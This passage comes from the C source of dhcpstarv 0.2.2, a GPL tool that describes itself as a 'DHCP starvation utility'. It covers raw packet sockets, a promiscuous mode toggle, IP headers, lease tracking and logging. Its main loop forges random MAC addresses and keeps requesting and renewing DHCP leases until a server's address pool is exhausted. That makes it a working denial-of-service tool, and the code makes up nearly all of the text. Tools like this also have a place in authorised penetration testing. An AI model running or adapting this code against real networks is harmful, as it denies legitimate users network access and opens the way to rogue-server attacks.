memcpy(ð->h_source, srcmac, sizeof(eth->h_source)); memcpy(ð->h_dest, dstmac, sizeof(eth->h_dest)); eth->h_proto = htons(ETH_P_IP); return sizeof(struct ethhdr); } /* * Return network interface index which name is stored in `ifname', or -1 on * error. `sock' must contain packet socket descriptor. */ int get_iface_index(int sock, const char* ifname) { struct ifreq ifr; assert(sock != -1); assert(ifname); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); if (-1 == ioctl(sock, SIOCGIFINDEX, &ifr)) { log_err("ioctl error: %s", strerror(errno)); return -1; } return ifr.ifr_ifindex; } /* * Get hardware address for network interface which name is stored in `ifname'. * Before call `sock' must contain valid packet socket descriptor. On success * return 0 and hardware address in `buffer'. */ int get_iface_hwaddr(int sock, const char* ifname, void* buffer, size_t len) { struct ifreq ifr; assert(sock != -1); assert(ifname); assert(buffer); assert(len >= ETH_ALEN); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); if (-1 == ioctl(sock, SIOCGIFHWADDR, &ifr)) { log_err("ioctl error: %s", strerror(errno)); return -1; } memcpy(buffer, ifr.ifr_hwaddr.sa_data, (len > ETH_ALEN) ? ETH_ALEN : len); return 0; } /* * If `promisc_on' is not 0 set network interface to promiscuous mode, else set * to non-promiscuous mode. Return 1 if interface was set to promiscuous mode, 0 * if not or -1 if error occured. */ int set_promisc_mode(int sock, const char* ifname, int promisc_on) { int ret = 0; struct ifreq ifr; assert(sock != -1); assert(ifname); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); if (-1 == ioctl(sock, SIOCGIFFLAGS, &ifr)) { log_err("can not get flags for %s: %s", ifname, strerror(errno)); return -1; } /* do not set to promiscuous mode if already in one */ if ((ifr.ifr_flags & IFF_PROMISC) && promisc_on) return 0; if (promisc_on) ifr.ifr_flags |= IFF_PROMISC; else ifr.ifr_flags ^= IFF_PROMISC; log_verbose("setting %s to %s mode", ifname, promisc_on ? "promiscuous" : "non-promiscuous"); if (-1 == ioctl(sock, SIOCSIFFLAGS, &ifr)) { log_err("can not set %s to %s mode: %s", ifname, promisc_on ? "promiscuous" : "non-promiscuous", strerror(errno)); return -1; } ret = 1; return ret; } dhcpstarv-0.2.2/src/ether.h000066400000000000000000000021421263001657200155610ustar00rootroot00000000000000/* * ether.h: link level. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #ifndef ETHER_ROUTINES #define ETHER_ROUTINES int init_ether_header(struct ethhdr* eth, const unsigned char* srcmac, const unsigned char* dstmac); int get_iface_index(int sock, const char* ifname); int get_iface_hwaddr(int sock, const char* ifname, void* buffer, size_t len); int set_promisc_mode(int sock, const char* ifname, int promisc_on); #endif /* ETHER_ROUTINES */ dhcpstarv-0.2.2/src/ip.c000066400000000000000000000035301263001657200150570ustar00rootroot00000000000000/* * ip.c: IP headers and functions. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #include #include #include #include #include "ip.h" /* * Return checksum of IP header. `words' is number of 2-byte words stored in * `data'. */ unsigned short ip_csum(unsigned short* data, int words) { unsigned int sum, i; assert(data); assert(words > 0); sum = 0; for (i = 0; i < words; i++) sum += data[i]; sum += sum >> 16; return ~sum; } /* * Initialize IP header. `len' is data size (UDP header and payload for UDP * packet). `srchost' and `dsthost' are in network byte order. * * Always return IP header size. */ int init_ip_header(struct iphdr* ip, size_t len, unsigned short proto, uint32_t srchost, uint32_t dsthost) { assert(ip); ip->ihl = sizeof(struct iphdr) / 4; ip->version = 4; ip->tot_len = htons(sizeof(struct iphdr) + len); ip->frag_off |= htons(IP_DF); /* do not fragment */ ip->ttl = 64; ip->protocol = proto; ip->saddr = srchost; ip->daddr = dsthost; ip->check = 0; /* set to 0 before checksum computation */ ip->check = ip_csum((unsigned short*) ip, sizeof(struct iphdr) >> 1); return sizeof(struct iphdr); } dhcpstarv-0.2.2/src/ip.h000066400000000000000000000017321263001657200150660ustar00rootroot00000000000000/* * ip.h: IP headers and functions. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #ifndef IP_PROTO #define IP_PROTO unsigned short ip_csum(unsigned short* data, int words); int init_ip_header(struct iphdr* ip, size_t len, unsigned short proto, uint32_t srchost, uint32_t dsthost); #endif /* IP_PROTO */ dhcpstarv-0.2.2/src/leases.c000066400000000000000000000117201263001657200157230ustar00rootroot00000000000000/* * leases.c: lease storage and manipulation. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #include #include #include #include #include #include #include "leases.h" #include "dhcp.h" #include "log.h" /* Client leases. */ static struct dhcp_lease* lease_list = NULL; /* * Return address of first lease. */ struct dhcp_lease* ls_get_first_lease() { return lease_list; } /* * Return address of last lease. */ struct dhcp_lease* ls_get_last_lease() { struct dhcp_lease* last; if (lease_list == NULL) return NULL; last = lease_list; while (NULL != last->next) last = last->next; return last; } /* * Create new lease and append it to list. The `xid' field of new lease will be * random generated. */ struct dhcp_lease* ls_create_lease(const void* mac) { struct dhcp_lease* lease; struct dhcp_lease* last; assert(mac); lease = (struct dhcp_lease*) malloc(sizeof(struct dhcp_lease)); memset(lease, 0, sizeof(struct dhcp_lease)); lease->xid = rand(); memcpy(lease->mac, mac, sizeof(lease->mac)); last = ls_get_last_lease(); if (last == NULL) lease_list = lease; else last->next = lease; return lease; } /* * Delete all leases and free memory. */ void ls_free_all_leases() { struct dhcp_lease* lease = lease_list; struct dhcp_lease* tmp; while (lease != NULL) { tmp = lease; lease = lease->next; free(tmp); } lease_list = NULL; } /* * Copy values from DHCP packet to lease. */ void ls_change_lease(struct dhcp_lease* lease, const struct dhcp_packet* dhcp) { unsigned char msgtype; assert(lease); assert(dhcp); if (0 != dhcp_get_option(dhcp, DHCP_OPT_MSGTYPE, &msgtype, sizeof(msgtype), NULL)) { log_err("no DHCP message type in reply"); return; } switch (msgtype) { case DHCP_MSGTYPE_DISCOVER: break; case DHCP_MSGTYPE_OFFER: /* mandatory */ lease->client_addr = dhcp->yiaddr; if (0 != dhcp_get_option(dhcp, DHCP_OPT_SERVERID, &lease->server_id, sizeof(lease->server_id), NULL)) { log_err("no server id option in DHCPOFFER"); return; } if (0 != dhcp_get_option(dhcp, DHCP_OPT_LEASETIME, &lease->lease_time, sizeof(lease->lease_time), NULL)) { log_err("no IP address lease option time in DHCPOFFER"); return; } if (0 != dhcp_get_option(dhcp, DHCP_OPT_SUBNETMASK, &lease->netmask, sizeof(lease->netmask), NULL)) { log_err("no network mask option in DHCPOFFER"); return; } if (0 != dhcp_get_option(dhcp, DHCP_OPT_RENEWALTIME, &lease->renewal_time, sizeof(lease->renewal_time), NULL)) { log_err("no renewal time option in DHCPOFFER"); return; } if (0 != dhcp_get_option(dhcp, DHCP_OPT_REBINDINGTIME, &lease->rebinding_time, sizeof(lease->rebinding_time), NULL)) { log_err("no rebinding time option in DHCPOFFER"); return; } /* optional */ dhcp_get_option(dhcp, DHCP_OPT_DOMAINNAME, &lease->domain_name, sizeof(lease->domain_name), NULL); dhcp_get_option(dhcp, DHCP_OPT_ROUTER, &lease->router, sizeof(lease->router), NULL); dhcp_get_option(dhcp, DHCP_OPT_DNS, lease->dnss, sizeof(lease->dnss), NULL); break; case DHCP_MSGTYPE_REQUEST: break; case DHCP_MSGTYPE_DECLINE: break; case DHCP_MSGTYPE_ACK: /* mandatory */ if (0 != dhcp_get_option(dhcp, DHCP_OPT_SERVERID, &lease->server_id, sizeof(lease->server_id), NULL)) { log_err("no server id option in DHCPOFFER"); return; } /* optional */ dhcp_get_option(dhcp, DHCP_OPT_LEASETIME, &lease->lease_time, sizeof(lease->lease_time), NULL); dhcp_get_option(dhcp, DHCP_OPT_RENEWALTIME, &lease->renewal_time, sizeof(lease->renewal_time), NULL); dhcp_get_option(dhcp, DHCP_OPT_REBINDINGTIME, &lease->rebinding_time, sizeof(lease->rebinding_time), NULL); dhcp_get_option(dhcp, DHCP_OPT_SUBNETMASK, &lease->netmask, sizeof(lease->netmask), NULL); dhcp_get_option(dhcp, DHCP_OPT_ROUTER, &lease->router, sizeof(lease->router), NULL); dhcp_get_option(dhcp, DHCP_OPT_DNS, lease->dnss, sizeof(lease->dnss), NULL); dhcp_get_option(dhcp, DHCP_OPT_DOMAINNAME, &lease->domain_name, sizeof(lease->domain_name), NULL); lease->last_updated = time(NULL); break; case DHCP_MSGTYPE_NACK: /* TODO: fill */ break; case DHCP_MSGTYPE_RELEASE: break; default: log_err("unknown message type %u", (unsigned) msgtype); } } dhcpstarv-0.2.2/src/leases.h000066400000000000000000000032421263001657200157300ustar00rootroot00000000000000/* * leases.h: lease storage and manipulation. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #ifndef DHCP_LEASES #define DHCP_LEASES /* Max. number of DNSs in DHCP option. */ #define MAX_DNS_COUNT 10 /* Max. domain name characters. */ #define MAX_DOMAIN_NAME 128 struct dhcp_packet; /* Client lease. */ struct dhcp_lease { struct dhcp_lease* next; uint32_t xid; uint16_t secs; /* no used */ uint8_t mac[6]; /* client hardware address */ uint32_t client_addr; /* client IP address */ uint32_t server_id; uint32_t lease_time; uint32_t netmask; uint32_t router; uint32_t dnss[MAX_DNS_COUNT]; /* DNS servers */ uint32_t renewal_time; uint32_t rebinding_time; uint32_t last_updated; /* last update time (host order) */ char domain_name[MAX_DOMAIN_NAME]; /* domain name */ }; struct dhcp_lease* ls_get_first_lease(); struct dhcp_lease* ls_create_lease(const void* mac); void ls_free_all_leases(); void ls_change_lease(struct dhcp_lease* lease, const struct dhcp_packet* dhcp); #endif /* DHCP_LEASES */ dhcpstarv-0.2.2/src/log.c000066400000000000000000000047471263001657200152430ustar00rootroot00000000000000/* * log.c: logging. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #include #include #include #include #include "log.h" #include "main.h" /* Date and time format. */ static const char timefmt[] = "%T %D: "; /* * Log information message. */ void log_info(const char* format, ...) { va_list ap; char time_format[LOG_STR_BUFFER_SIZE]; time_t now = time(NULL); strftime(time_format, sizeof(time_format), timefmt, localtime(&now)); strncat(time_format, format, sizeof(time_format)); va_start(ap, format); vprintf(time_format, ap); printf("\n"); va_end(ap); } /* * Log error message. */ void log_err(const char* format, ...) { va_list ap; char time_format[LOG_STR_BUFFER_SIZE]; time_t now = time(NULL); strftime(time_format, sizeof(time_format), timefmt, localtime(&now)); strncat(time_format, format, sizeof(time_format)); va_start(ap, format); vfprintf(stderr, time_format, ap); fprintf(stderr, "\n"); va_end(ap); } /* * Log verbose information message. */ void log_verbose(const char* format, ...) { va_list ap; char time_format[LOG_STR_BUFFER_SIZE]; time_t now = time(NULL); if (opts.verbose) { strftime(time_format, sizeof(time_format), timefmt, localtime(&now)); strncat(time_format, format, sizeof(time_format)); va_start(ap, format); vprintf(time_format, ap); printf("\n"); va_end(ap); } } /* * Log debug message on stderr. */ void log_debug(const char* format, ...) { va_list ap; char time_format[LOG_STR_BUFFER_SIZE]; time_t now = time(NULL); if (opts.debug) { strftime(time_format, sizeof(time_format), timefmt, localtime(&now)); strncat(time_format, "(debug) ", sizeof(time_format)); strncat(time_format, format, sizeof(time_format)); va_start(ap, format); vfprintf(stderr, time_format, ap); fprintf(stderr, "\n"); va_end(ap); } } dhcpstarv-0.2.2/src/log.h000066400000000000000000000017771263001657200152500ustar00rootroot00000000000000/* * log.h: logging. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #ifndef LOGGING_FUNCTIONS #define LOGGING_FUNCTIONS #define LOG_STR_BUFFER_SIZE 1024 void log_info(const char* format, ...); void log_err(const char* format, ...); void log_verbose(const char* format, ...); void log_debug(const char* format, ...); #endif /* LOGGING_FUNCTIONS */ dhcpstarv-0.2.2/src/main.c000066400000000000000000000165021263001657200153760ustar00rootroot00000000000000/* * main.c: entry point. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #include #include #include #include #include #include #include #include #include #include #include #include #include "main.h" #include "leases.h" #include "request.h" #include "dhcp.h" #include "utils.h" #include "log.h" #include "sock.h" #include "ether.h" #include "config.h" /* Application options. */ struct app_options opts; /* Network interface hardware address. */ unsigned char ifmac[6]; /* Network interface number. */ int ifindex = 0; /* Max. leases to renew at once. */ static const int max_renew_leases = 100; /* Sockets. */ static int sock_recv = -1; static int sock_send = -1; /* not 0 if promiscuous mode was set */ static int promisc = 0; /* * Request time and retry count (DHCPDISCOVER and DHCPREQUEST, in seconds). * These values should be kept small to reduce overall run time. */ static const int request_retries = 3; static const int request_timeout = 2; /* * Renew leases (see max_renew_leases also). */ void renew_all_leases(int sock_send, int sock_recv) { struct dhcp_lease* lease = ls_get_first_lease(); uint32_t now, renewal_time; int renewed_count = 0; int ret; assert(sock_send != -1); assert(sock_recv != -1); now = time(NULL); while (lease != NULL) { renewal_time = ntohl(lease->renewal_time); /* DHCPDISCOVER in progress */ if (lease->last_updated == 0) goto NextLease; /* not renewed */ if (renewal_time < (now - lease->last_updated)) goto NextLease; if ((now - lease->last_updated) > (renewal_time / 3)) { ret = renew_lease(sock_send, sock_recv, lease, opts.dstmac, request_timeout, request_retries); if (ret == 0) { renewed_count++; } else if (ret < 0) { /* critical error occurred */ break; } if (renewed_count > max_renew_leases) break; } NextLease: lease = lease->next; } } /* * Generate random hardware address. `buffer' size must be at least * DHCP_HLEN_ETHER. */ void generate_mac(void* buffer) { unsigned char* mac = buffer; int random_value = rand(); /* first 3 octets - vendor id */ unsigned char vendor_mac_prefix[] = { 0x00, 0x16, 0x36 }; assert(buffer); memcpy(mac, vendor_mac_prefix, sizeof(vendor_mac_prefix)); memcpy(mac + sizeof(vendor_mac_prefix), (unsigned char*) &random_value, DHCP_HLEN_ETHER - sizeof(vendor_mac_prefix)); } /* * Free allocated resources and exit. */ void shutdown_app() { ls_free_all_leases(); if (promisc != 0) set_promisc_mode(sock_recv, opts.ifname, 0); if (sock_recv != -1) { close(sock_recv); sock_recv = -1; } if (sock_send != -1) { close(sock_send); sock_send = -1; } log_verbose("Exit."); exit(0); } /* * Signal handler. */ void signal_handler(int signum) { if (signum == SIGTERM || signum == SIGINT || signum == SIGQUIT) shutdown_app(); } /* * Print copyright notice. */ void print_notice() { printf("Copyright (C) 2007 Dmitry Davletbaev\n" "This program comes with ABSOLUTELY NO WARRANTY.\n" "This is free software, and you are welcome to " "redistribute it under\ncertain conditions; see " " for details.\n\n"); } /* * Print short help. */ void print_help() { printf("%s - DHCP starvation utility.\nversion %s\n\n" "Usage:\n" "\t%s -h\n\n" "\t%s [-epv] [-d MAC] [--debug] -i IFNAME\n\n" "Options:\n" "\t-d, --dstmac=MAC\n" "\t\tUse MAC for requests instead of broadcast address.\n" "\t--debug\n" "\t\tOutput debug messages.\n" "\t-e, --exclude=ADDRESS\n" "\t\tIgnore replies from server with address ADDRESS.\n" "\t-h, --help\n" "\t\tPrint help and exit.\n" "\t-i, --iface=IFNAME\n" "\t\tInterface name.\n" "\t-p, --no-promisc\n" "\t\tDo not set network interface to promiscuous mode.\n" "\t-v, --verbose\n" "\t\tVerbose output.\n", PROGNAME, PACKAGE_VERSION, PROGNAME, PROGNAME); } /* * Parse command line options. Return 0 if successful. */ int parce_cmd_options(int argc, char* argv[]) { struct option long_opts[] = { { "debug", no_argument, NULL, 129 }, { "dstmac", required_argument, NULL, 'd' }, { "exclude", required_argument, NULL, 'e' }, { "iface", required_argument, NULL, 'i' }, { "no-promisc", no_argument, NULL, 'p' }, { "verbose", no_argument, NULL, 'v' }, { "help", no_argument, NULL, 'h' }, { NULL, 0, NULL, 0 }, }; int optind = 0, opt; memset(&opts, 0, sizeof(opts)); while (-1 != (opt = getopt_long(argc, argv, "d:e:i:hpv", long_opts, &optind))) { switch (opt) { case 0: break; case 'd': opts.dstmac = (unsigned char*) malloc(DHCP_HLEN_ETHER); if (str_to_mac(optarg, opts.dstmac, DHCP_HLEN_ETHER)) { log_err("bad destination MAC address %s", optarg); return -1; } break; case 'e': if (0 == (opts.exclude_server = strip_to_int(optarg))) { log_err("bad server ID (must be valid IP" " address): %s", optarg); return -1; } break; case 'i': strncpy(opts.ifname, optarg, sizeof(opts.ifname)); break; case 'v': opts.verbose = 1; break; case 'h': opts.help = 1; break; case 'p': opts.no_promisc = 1; break; case 129: opts.debug ++; break; case '?': return -1; break; default: log_err("unknown command line option %s", long_opts[optind].name); return -1; } } return 0; } /* * Entry point. */ int main(int argc, char* argv[]) { int ret = -1; unsigned char mac[DHCP_HLEN_ETHER]; int signals[] = { SIGTERM, SIGINT, SIGQUIT }; int i; if (0 != parce_cmd_options(argc, argv)) goto Out; if (opts.help || opts.verbose) print_notice(); if (opts.help) { print_help(); ret = 0; goto Out; } srand(time(NULL)); /* set up signal handler */ for (i = 0; i < (sizeof(signals) / sizeof(int)); i++) { if (SIG_ERR == signal(signals[i], signal_handler)) { log_err("can not set up signal handler: %s", strerror(errno)); goto Out; } } sock_recv = create_recv_socket(); sock_send = create_send_socket(); if (-1 == sock_recv || -1 == sock_send) goto Out; if (-1 == get_iface_hwaddr(sock_send, opts.ifname, ifmac, sizeof(ifmac))) { goto Out; } if (-1 == (ifindex = get_iface_index(sock_send, opts.ifname))) goto Out; if (!opts.no_promisc) { if (-1 == (promisc = set_promisc_mode(sock_recv, opts.ifname, 1))) { goto Out; } } while (1) { renew_all_leases(sock_send, sock_recv); generate_mac(mac); if (0 > request_lease(sock_send, sock_recv, mac, opts.dstmac, request_timeout, request_retries)) { /* critical error occurred */ break; } } shutdown_app(); ret = 0; Out: if (opts.dstmac) free(opts.dstmac); return ret; } dhcpstarv-0.2.2/src/main.h000066400000000000000000000023251263001657200154010ustar00rootroot00000000000000/* * main.h: main definitions. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #ifndef MAIN_MODULE #define MAIN_MODULE /* Program name - used to print help. */ #define PROGNAME "dhcpstarv" /* Uncomment to print debug messages (e.g. DHCP packet field values). */ /* #define VERBOSE_DHCP_DEBUG_OUTPUT */ struct app_options { unsigned int exclude_server; char ifname[50]; int help; int no_promisc; int verbose; unsigned char* dstmac; int debug; }; extern struct app_options opts; extern unsigned char ifmac[6]; extern int ifindex; #endif /* MAIN_MODULE */ dhcpstarv-0.2.2/src/request.c000066400000000000000000000155131263001657200161430ustar00rootroot00000000000000/* * request.c: requests to DHCP server. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #include #include #include #include #include #include #include #include #include "request.h" #include "main.h" #include "dhcp.h" #include "udp.h" #include "log.h" #include "sock.h" #include "leases.h" #include "utils.h" static const unsigned char brd_mac[] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; /* * Initialise sockaddr_ll structure. */ void init_ll_addr(struct sockaddr_ll* lladdr) { memset(lladdr, 0, sizeof(struct sockaddr_ll)); lladdr->sll_family = AF_PACKET; lladdr->sll_protocol = ETH_P_IP; lladdr->sll_ifindex = ifindex; lladdr->sll_hatype = 1; lladdr->sll_pkttype = PACKET_BROADCAST; lladdr->sll_halen = ETH_ALEN; memcpy(lladdr->sll_addr, brd_mac, sizeof(brd_mac)); } /* * Send DHCP packet (broadcast) and receive response for it. Return 0 if * successul, > 0 if can not receive response, < 0 if another error occurred. */ int send_recv_dhcp(int sock_send, int sock_recv, struct dhcp_packet* dhcp, size_t dhcplen, const struct sockaddr_ll* dstaddr, const unsigned char* dstmac, struct dhcp_lease* lease, long timeout) { unsigned char buffer[1024]; size_t bufflen; int sent_bytes; assert(sock_send != -1); assert(sock_recv != -1); assert(dhcp); assert(dstaddr); assert(lease); bufflen = init_udp_packet(buffer, sizeof(buffer), dhcp, dhcplen, ifmac, 0, htons(68), dstmac ? dstmac : brd_mac, 0xffffffff, htons(67)); if (bufflen == -1) { log_err("can not initialize packet to send"); return -1; } sent_bytes = sendto(sock_send, buffer, bufflen, 0, (struct sockaddr*) dstaddr, sizeof(struct sockaddr_ll)); if (sent_bytes <= 0) { log_err("can not send DHCP packet: %s\n", strerror(errno)); return -1; } if (0 == read_dhcp_from_socket(sock_recv, lease->xid, dhcp, timeout)) return 0; else return 1; } /* * Request lease from DHCP server. Return 0 if get DHCPACK, < 0 if uncorrectable * error orruced and caller should exit, > 0 otherwise. */ int request_lease(int sock_send, int sock_recv, const unsigned char* mac, const unsigned char* dstmac, long timeout, int retries) { int i; struct dhcp_packet dhcp; size_t dhcplen; struct dhcp_lease* lease; unsigned char msgtype; char tmp[50]; struct sockaddr_ll lladdr; int ret; assert(sock_send != -1); assert(sock_recv != -1); assert(mac); lease = ls_create_lease(mac); init_ll_addr(&lladdr); /* DHCPDISCOVER */ for (i = 1; ; i++) { if (-1 == (dhcplen = dhcp_make_discover(&dhcp, lease, 1))) { log_err("can not create DHCPDISCOVER"); return -1; } ret = send_recv_dhcp(sock_send, sock_recv, &dhcp, dhcplen, &lladdr, dstmac, lease, timeout); if (ret == 0) { ls_change_lease(lease, &dhcp); break; } else if (ret > 0 && i >= retries) { log_verbose("did not received DHCP reply for " "lease request (DHCPDISCOVER) " "in %d retries", retries); return 1; } else if (ret < 0) { return -1; } } #ifdef VERBOSE_DHCP_DEBUG_OUTPUT print_dhcp_contents(&dhcp); #endif /* DHCPREQUEST */ for (i = 1; ; i++) { if (-1 == (dhcplen = dhcp_make_request(&dhcp, lease, 1))) { log_err("can not create DHCPREQUEST"); return -1; } ret = send_recv_dhcp(sock_send, sock_recv, &dhcp, dhcplen, &lladdr, dstmac, lease, timeout); if (ret == 0) { break; } else if (ret > 0 && i >= retries) { log_verbose("did not received DHCP reply for " "lease request (DHCPREQUEST) " "in %d retries", retries); return 1; } else if (ret < 0) { return -1; } } #ifdef VERBOSE_DHCP_DEBUG_OUTPUT print_dhcp_contents(&dhcp); #endif if (0 != dhcp_get_option(&dhcp, DHCP_OPT_MSGTYPE, &msgtype, sizeof(msgtype), NULL)) { log_err("no message type option in DHCP reply"); return 1; } if (msgtype == DHCP_MSGTYPE_ACK) { ls_change_lease(lease, &dhcp); strncpy(tmp, get_ip_str(lease->client_addr), sizeof(tmp)); log_info("got address %s for %s from %s", tmp, mac_to_str(lease->mac), get_ip_str(lease->server_id)); return 0; } else if (msgtype == DHCP_MSGTYPE_NACK) { log_info("got DHCPNACK reply when requesting address " "for %s from %s", mac_to_str(lease->mac), get_ip_str(lease->server_id)); return 1; } else { log_info("got %d reply when requesting address " "for %s from %s", (int) msgtype, mac_to_str(lease->mac), get_ip_str(lease->server_id)); return 1; } } /* * Renew lease. Return 0 if successful. Return 0 if get DHCPACK, < 0 if * uncorrectable error orruced and caller should exit, > 0 otherwise. */ int renew_lease(int sock_send, int sock_recv, struct dhcp_lease* lease, const unsigned char* dstmac, long timeout, int retries) { int i; struct dhcp_packet dhcp; size_t dhcplen; unsigned char msgtype; struct sockaddr_ll lladdr; int ret; assert(sock_send != -1); assert(sock_recv != -1); assert(lease); init_ll_addr(&lladdr); for (i = 1; ; i++) { if (-1 == (dhcplen = dhcp_make_renew(&dhcp, lease, 1))) { log_err("can not create DHCPRENEW"); return -1; } ret = send_recv_dhcp(sock_send, sock_recv, &dhcp, dhcplen, &lladdr, dstmac, lease, timeout); if (ret == 0) { break; } else if (ret > 0 && i >= retries) { log_verbose("did not received DHCP reply for " "lease renew (DHCPREQUEST) " "in %d retries", retries); return 1; } else if (ret < 0) { return -1; } } #ifdef VERBOSE_DHCP_DEBUG_OUTPUT print_dhcp_contents(&dhcp); #endif if (0 != dhcp_get_option(&dhcp, DHCP_OPT_MSGTYPE, &msgtype, sizeof(msgtype), NULL)) { log_err("no message type option in DHCP reply"); return -1; } if (msgtype == DHCP_MSGTYPE_ACK) { ls_change_lease(lease, &dhcp); log_verbose("renewed lease with address %s for %s", get_ip_str(lease->client_addr), mac_to_str(lease->mac)); return 0; } else if (msgtype == DHCP_MSGTYPE_NACK) { log_verbose("got DHCPNACK reply when renewing lease with " "address %s", get_ip_str(lease->client_addr)); return 1; } else { log_verbose("got %d reply when renewing lease with " "address %s", (int) msgtype, get_ip_str(lease->client_addr)); return 1; } } dhcpstarv-0.2.2/src/request.h000066400000000000000000000022011263001657200161360ustar00rootroot00000000000000/* * request.h: requests to DHCP server. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #ifndef DHCP_REQUEST_ROUTINE #define DHCP_REQUEST_ROUTINE struct dhcp_lease; int request_lease(int sock_send, int sock_recv, const unsigned char* mac, const unsigned char* dstmac, long timeout, int retries); int renew_lease(int sock_send, int sock_recv, struct dhcp_lease* lease, const unsigned char* dstmac, long timeout, int retries); #endif /* DHCP_REQUEST_ROUTINE */ dhcpstarv-0.2.2/src/sock.c000066400000000000000000000106411263001657200154070ustar00rootroot00000000000000/* * sock.c: network functions. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #include #include #include #include #include #include #include #include #include #include #include "sock.h" #include "log.h" #include "dhcp.h" #include "main.h" #include "utils.h" /* * Create socket for sending requests. Return socket descriptor or -1 on error. */ int create_send_socket() { int sock, sockopt; if (-1 == (sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)))) { log_err("Error: can not create send socket (%s)", strerror(errno)); return -1; } sockopt = 1; if (0 != setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &sockopt, sizeof(sockopt))) { log_err("Error: can not set send socket options (%s)", strerror(errno)); return -1; } return sock; 